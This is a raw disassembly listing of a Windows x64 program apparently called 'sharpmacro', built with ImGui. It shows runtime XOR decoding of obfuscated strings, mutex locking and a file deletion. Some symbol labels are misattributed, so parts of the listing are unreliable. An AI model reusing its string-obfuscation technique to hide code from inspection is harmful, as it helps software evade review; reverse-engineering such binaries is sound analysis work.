jmp 0x1400dca68
call fcn.1400366c0
cmp dword [r14 + 0x4be4], 0
je 0x1400dbc8f
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [r14 + 0x3ae0], xmm0
mov qword [rsp + 0x38], 0x43480000
movups xmm2, xmmword [0x1401376a8]
movups xmmword [rbp + 0x1f0], xmm2
mov edx, dword [0x1401376b8]
mov dword [rbp + 0x200], edx
cmp byte [0x1401376bb], 0
je 0x1400dbf13
mov r8d, edi
cmp r12d, 2
jl 0x1400dbeda
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rsp + 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1f0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f4]
xorps xmm2, xmm1
movd dword [rbp + 0x1f4], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f8]
xorps xmm2, xmm1
movd dword [rbp + 0x1f8], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1fc]
xorps xmm2, xmm1
movd dword [rbp + 0x1fc], xmm2
movdqa xmm2, xmmword [0x140138f80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x200], xmm2
jmp 0x1400dbf13
lea r9, [rbp + 0x1f0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400dbee1
xor r8d, r8d
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x1f0]
call fcn.14004c970
test al, al
je 0x1400dc25b
lea rcx, [0x140250e50]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x1400dcee2
cmp dword [0x140250e9c], 0x7fffffff
je 0x1400dcecc
call fcn.1400d4840
mov eax, dword [str.eBOL9]
mov dword [rbp + 0x1e8], eax
movzx eax, byte [0x140134970]
mov byte [rbp + 0x1e8], 0x2e
xor byte [rbp + 0x1e9], 0x36
xor byte [rbp + 0x1ea], 0x37
xor byte [rbp + 0x1eb], 0x38
xor al, 0x39
mov byte [rbp + 0x1ec], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], rdi
mov qword [rbp + 0x288], rdi
lea rax, [rbp + 0x1e8]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1400dbfb2
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x270]
call fcn.140079f10
nop
movsd xmm0, qword [str.EDXPVOa_]
movsd qword [rbp + 0x1c0], xmm0
movzx eax, word [0x1401348b8]
mov word [rbp + 0x1c8], ax
cmp byte [0x1401348b9], 0
je 0x1400dc03d
mov byte [rbp + 0x1c0], WSACleanup
xor byte [rbp + 0x1c1], 0x36
xor byte [rbp + 0x1c2], 0x37
xor byte [rbp + 0x1c3], 0x38
xor byte [rbp + 0x1c4], 0x39
xor byte [rbp + 0x1c5], 0x3a
xor byte [rbp + 0x1c6], 0x3b
xor byte [rbp + 0x1c7], 0x3c
xor byte [rbp + 0x1c8], 0x3d
xor byte [rbp + 0x1c9], 0x3e
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x208], rdi
lea rax, [rbp + 0x1c0]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400dc060
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x1f0]
call fcn.140079f10
nop
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400dc08b
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0x1f0]
call fcn.1400f4340
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2a0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], select
mov byte [rax], 0
bts esi, 0x17
lea r9, [rbp + 0x270]
lea r8, [rbp + 0x290]
lea rcx, [rbp + 0x2b0]
call fcn.1400fd780
bts esi, 0x16
mov rdx, qword [0x1402566f8]
cmp rdx, 0xf
jbe 0x1400dc122
inc rdx
mov rcx, qword [0x1402566e0]
cmp rdx, 0x1000
jb 0x1400dc11d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400dceb7
mov rcx, r8
call fcn.1401101a0
movups xmm0, xmmword [rbp + 0x2b0]
movups xmmword [0x1402566e0], xmm0
movups xmm1, xmmword [rbp + 0x2c0]
movups xmmword [0x1402566f0], xmm1
mov qword [rbp + 0x2c0], rdi
mov qword [rbp + 0x2c8], select
mov byte [rbp + 0x2b0], 0
lea rcx, [rbp + 0x2b0]
call fcn.1400955d0
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x1400dc1a6
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400dc1a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400dcebe
call fcn.1401101a0
nop
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x1400dc1e7
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400dc1e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400dcec5
call fcn.1401101a0
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x208], select
mov byte [rbp + 0x1f0], 0
lea rcx, [rbp + 0x270]
call fcn.1400955d0
xor ecx, ecx
call fcn.1400d7390
mov r15, qword [0x140256da0]
mov r14, qword [0x140256d98]
cmp r14, r15
je 0x1400dc247
mov rcx, qword [r14]
test rcx, rcx
je 0x1400dc23e
cmp byte [rcx + 8], 0
je 0x1400dc23e
mov byte [rcx + 8], 0
mov rax, qword [rcx]
call qword [rax + 0x20]
add r14, 8
cmp r14, r15
jne 0x1400dc226
lea rcx, [0x140250e50]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r15, 0xffffffffffffffff
movaps xmm1, xmm10
movaps xmm0, xmm13
call fcn.14001eda0
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400dc275
mov rcx, qword [rbx]
call fcn.14004bb50
movaps xmm1, xmm10
movaps xmm0, xmm13
call fcn.14001eda0
mov qword [rsp + 0x40], 0
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [0x140134248]
call fcn.14004c970
test al, al
je 0x1400dc339
lea rax, [0x140251738]
cmp rax, rbx
je 0x1400dc2d1
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400dc2c5
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.1400f5f80
mov r8d, dword [rbx + 0x10]
cmp r8d, 0x80
mov eax, 0x7f
cmovge r8d, eax
mov rcx, rdi
movsxd rdx, r8d
lea r9, [0x140000000]
test r8d, r8d
jle 0x1400dc321
nop word [rax + rax]
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400dc30d
mov rax, qword [rbx]
movzx eax, byte [rax + rcx]
mov byte [rcx + r9 + 0x255400], al
inc rcx
cmp rcx, rdx
jl 0x1400dc300
movsxd rax, r8d
cmp rax, 0x80
jae 0x1400de06f
mov byte [rax + r9 + 0x255400], 0
mov ecx, 1
call fcn.14000a560
movaps xmm1, xmm10
movaps xmm0, xmm13
call fcn.14001eda0
mov r14, qword [0x140255230]
mov rax, qword [r14 + 0x4140]
movss xmm4, dword [rax + 0x60]
subss xmm4, dword [0x140138cc4]
mov byte [rax + 0xf5], 1
mov rax, qword [r14 + 0x4140]
movss xmm0, dword [rax + 0x58]
subss xmm0, dword [rax + 0xc0]
addss xmm0, xmm4
movss dword [rax + 0x140], xmm0
mov byte [rax + 0x181], 1
mov dword [rbp + 0x1f0], edi
movups xmm0, xmmword [r14 + 0x3ae0]
movups xmmword [rbp + 0x1f4], xmm0
lea rcx, [r14 + 0x4be8]
lea rdx, [rbp + 0x1f0]
call fcn.1400366c0
cmp dword [r14 + 0x4be4], 0
je 0x1400dc3da
movups xmm0, xmmword [rbp + 0x210]
movups xmmword [r14 + 0x3ae0], xmm0
mov qword [rbp + 0x198], 0
movups xmm2, xmmword [0x140135540]
movups xmmword [rbp + 0x1f0], xmm2
movzx eax, byte [0x140135550]
mov byte [rbp + 0x200], al
mov r8d, edi
cmp r12d, 2
jl 0x1400dc5ba
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rsp + 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1f0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f4]
xorps xmm2, xmm1
movd dword [rbp + 0x1f4], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f8]
xorps xmm2, xmm1
movd dword [rbp + 0x1f8], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1fc]
xorps xmm2, xmm1
movd dword [rbp + 0x1fc], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400dc5d0
xor r8d, r8d
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x1f0]
call fcn.14004c970
test al, al
je 0x1400dca5e
mov eax, dword [str.eBOL9]
mov dword [rbp + 0x190], eax
movzx eax, byte [0x140134970]
mov byte [rbp + 0x190], 0x2e
xor byte [rbp + 0x191], 0x36
xor byte [rbp + 0x192], 0x37
xor byte [rbp + 0x193], 0x38
xor al, 0x39
mov byte [rbp + 0x194], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rdi
mov qword [rbp + 0x248], rdi
lea rax, [rbp + 0x190]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1400dc676
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x230]
call fcn.140079f10
nop
lea rcx, [rbp + 0x2f0]
call fcn.1400f3f70
nop
lea r8, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova r8, qword [rbp + 0x230]
mov r9, qword [rbp + 0x240]
add r9, r8
lea rdx, [rbp + 0x390]
mov rcx, rax
call fcn.1400f5900
or esi, 0x6000
lea r14, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rbp + 0x2f0], r14
lea rcx, [rbp + 0x330]
call fcn.1400f5ce0
lea rcx, [rbp + 0x310]
call fcn.1400955d0
mov rcx, qword [rbp + 0x308]
test rcx, rcx
je 0x1400dc726
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400dc726
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rbp + 0x2f0]
call fcn.1400f3f70
nop
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400dc740
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
add r9, r8
lea rdx, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400f5900
or esi, 0x18000
mov qword [rbp + 0x2f0], r14
lea rcx, [rbp + 0x330]
call fcn.1400f5ce0
lea rcx, [rbp + 0x310]
call fcn.1400955d0
mov rcx, qword [rbp + 0x308]
test rcx, rcx
je 0x1400dc7a4
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400dc7a4
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
movsd xmm0, qword [str.iFEW_SWYNb_]
movsd qword [rbp + 0x1b0], xmm0
movzx ecx, word [0x140135600]
mov word [rbp + 0x1b8], cx
movzx eax, byte [0x140135602]
mov byte [rbp + 0x1b0], 0x5c
xor byte [rbp + 0x1b1], 0x36
xor byte [rbp + 0x1b2], 0x37
xor byte [rbp + 0x1b3], 0x38
xor byte [rbp + 0x1b4], 0x39
xor byte [rbp + 0x1b5], 0x3a
xor byte [rbp + 0x1b6], 0x3b
xor byte [rbp + 0x1b7], 0x3c
xor cl, 0x3d
mov byte [rbp + 0x1b8], cl
xor byte [rbp + 0x1b9], 0x3e
xor al, 0x3f
mov byte [rbp + 0x1ba], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], rdi
lea rax, [rbp + 0x1b0]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400dc840
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x250]
call fcn.140079f10
nop
lea rcx, [rbp + 0x2f0]
call fcn.1400f3f70
nop
lea r8, [rbp + 0x250]
cmp qword [rbp + 0x268], 0xf
cmova r8, qword [rbp + 0x250]
mov r9, qword [rbp + 0x260]
add r9, r8
lea rdx, [rbp + 0x2b0]
mov rcx, rax
call fcn.1400f5900
or esi, 0x60000
mov qword [rbp + 0x2f0], r14
lea rcx, [rbp + 0x330]
call fcn.1400f5ce0
lea rcx, [rbp + 0x310]
call fcn.1400955d0
mov rcx, qword [rbp + 0x308]
test rcx, rcx
je 0x1400dc8e9
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400dc8e9
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rbp + 0x410]
call fcn.14007c7f0
nop
lea r9, [rbp + 0x2b0]
mov r8, rax
lea rcx, [rbp + 0x370]
call fcn.1400fd560
bts esi, 0x13
lea r9, [rbp + 0x3f0]
lea r8, [rbp + 0x370]
lea rcx, [rbp + 0x270]
call fcn.1400fd560
bts esi, 0x14
lea r9, [rbp + 0x390]
lea r8, [rbp + 0x270]
lea rcx, [rbp + 0x290]
call fcn.1400fd560
bts esi, 0x15
lea rcx, [rbp + 0x270]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x370]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x410]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x2b0]
call fcn.1400f5ce0
nop
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x1400dc9c1
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400dc9bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400dceee
call fcn.1401101a0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], select
mov byte [rbp + 0x250], 0
lea rcx, [rbp + 0x3f0]
call fcn.1400f5ce0
nop
lea rcx, [rbp + 0x390]
call fcn.1400f5ce0
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x1400dca35
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400dca30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400dcef5
call fcn.1401101a0
lea rcx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 7
cmova rcx, qword [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
lea rcx, [rbp + 0x290]
call fcn.1400f5ce0
mov ecx, 1
call fcn.14000a560
mov rax, qword [0x140255230]
mov r14, qword [rax + 0x4140]
cmp dword [r14 + 0x130], 1
jg 0x1400dca9a
mov r8d, 0x21dc
lea rdx, str.D:VSSource_repos_sharpmacro_old_sharpmacroimguiimgui.cpp
lea rcx, str.window__IDStack.Size___1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp dword [r14 + 0x130], 0
jg 0x1400dcabe
mov r8d, 0x7f5
lea rdx, str.D:VSSource_repos_sharpmacro_old_sharpmacroimguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
dec dword [r14 + 0x130]
add rbx, 0x20
cmp rbx, r13
jne 0x1400db6b0
movdqa xmm14, xmmword [rsp + 0x50]
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], 0
jne 0x1400dcb19
mov qword [rbp + 0x190], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], 0
jne 0x1400dcb59
mov qword [rbp + 0x190], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov rcx, qword [0x140255230]
mov rax, qword [rcx + 0x4140]
mov byte [rax + 0xf5], 1
mov rax, qword [rcx + 0x4140]
cmp byte [rax + 0xf8], 0
jne 0x1400dcb99
mov qword [rbp + 0x190], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x190]
call fcn.14001ec30
mov qword [rbp + 0x198], 0
movups xmm2, xmmword [0x140135fe0]
movups xmmword [rbp + 0x210], xmm2
movzx eax, word [0x140135ff0]
mov word [rbp + 0x220], ax
cmp byte [0x140135ff1], 0
je 0x1400dcdcf
mov r8d, edi
cmp r12d, 2
jl 0x1400dcd88
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x210], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x214]
xorps xmm2, xmm1
movd dword [rbp + 0x214], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x218]
xorps xmm2, xmm1
movd dword [rbp + 0x218], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x21c]
xorps xmm2, xmm1
movd dword [rbp + 0x21c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400dcda0
xor r8d, r8d
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x210]
call fcn.14004c970
test al, al
je 0x1400dd6aa
mov r14d, edi
lea rbx, vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
lea r13, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
lea r15, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
lea rcx, [0x1401357a8]
inc r14d
lea rax, [0x140000000]
lea rax, [rax + 0x134924]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rcx
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
or esi, 1
mov dword [rbp + 0x1d0], esi
xor r8d, r8d
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64____ptr64]
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x60], rbx
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x20], rdi
mov dword [rbp - 0x18], edi
lea rcx, [rbp + 0x410]
call fcn.14007c7f0
nop
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x70]
cmp qword [rax + 0x18], 7
jbe 0x1400dcefc
mov rdx, qword [rax]
jmp 0x1400dceff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [0x140250e9c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, rax
call fcn.1401005b0
mov rcx, rax
movzx eax, word [0x140135600]
mov word [rbp + 0x1c8], ax
movsd xmm0, qword [str.iFEW_SWYNb_]
movzx eax, byte [0x140135602]
movsd qword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x1c0], 0x5c
xor byte [rbp + 0x1c1], 0x36
xor byte [rbp + 0x1c2], 0x37
xor byte [rbp + 0x1c3], 0x38
xor byte [rbp + 0x1c4], 0x39
xor byte [rbp + 0x1c5], 0x3a
xor byte [rbp + 0x1c6], 0x3b
xor byte [rbp + 0x1c7], 0x3c
xor byte [rbp + 0x1c8], 0x3d
xor byte [rbp + 0x1c9], 0x3e
xor al, 0x3f
mov byte [rbp + 0x1ca], al
lea rdx, [rbp + 0x1c0]
call fcn.1400fa330
mov r9, rax
movsd xmm0, qword [0x1401375f8]
movsd qword [rbp + 0x1b0], xmm0
mov edx, dword [0x140137600]
mov dword [rbp + 0x1b8], edx
movzx eax, byte [0x140137604]
mov byte [rbp + 0x1bc], al
mov ecx, edi
cmp r12d, 2
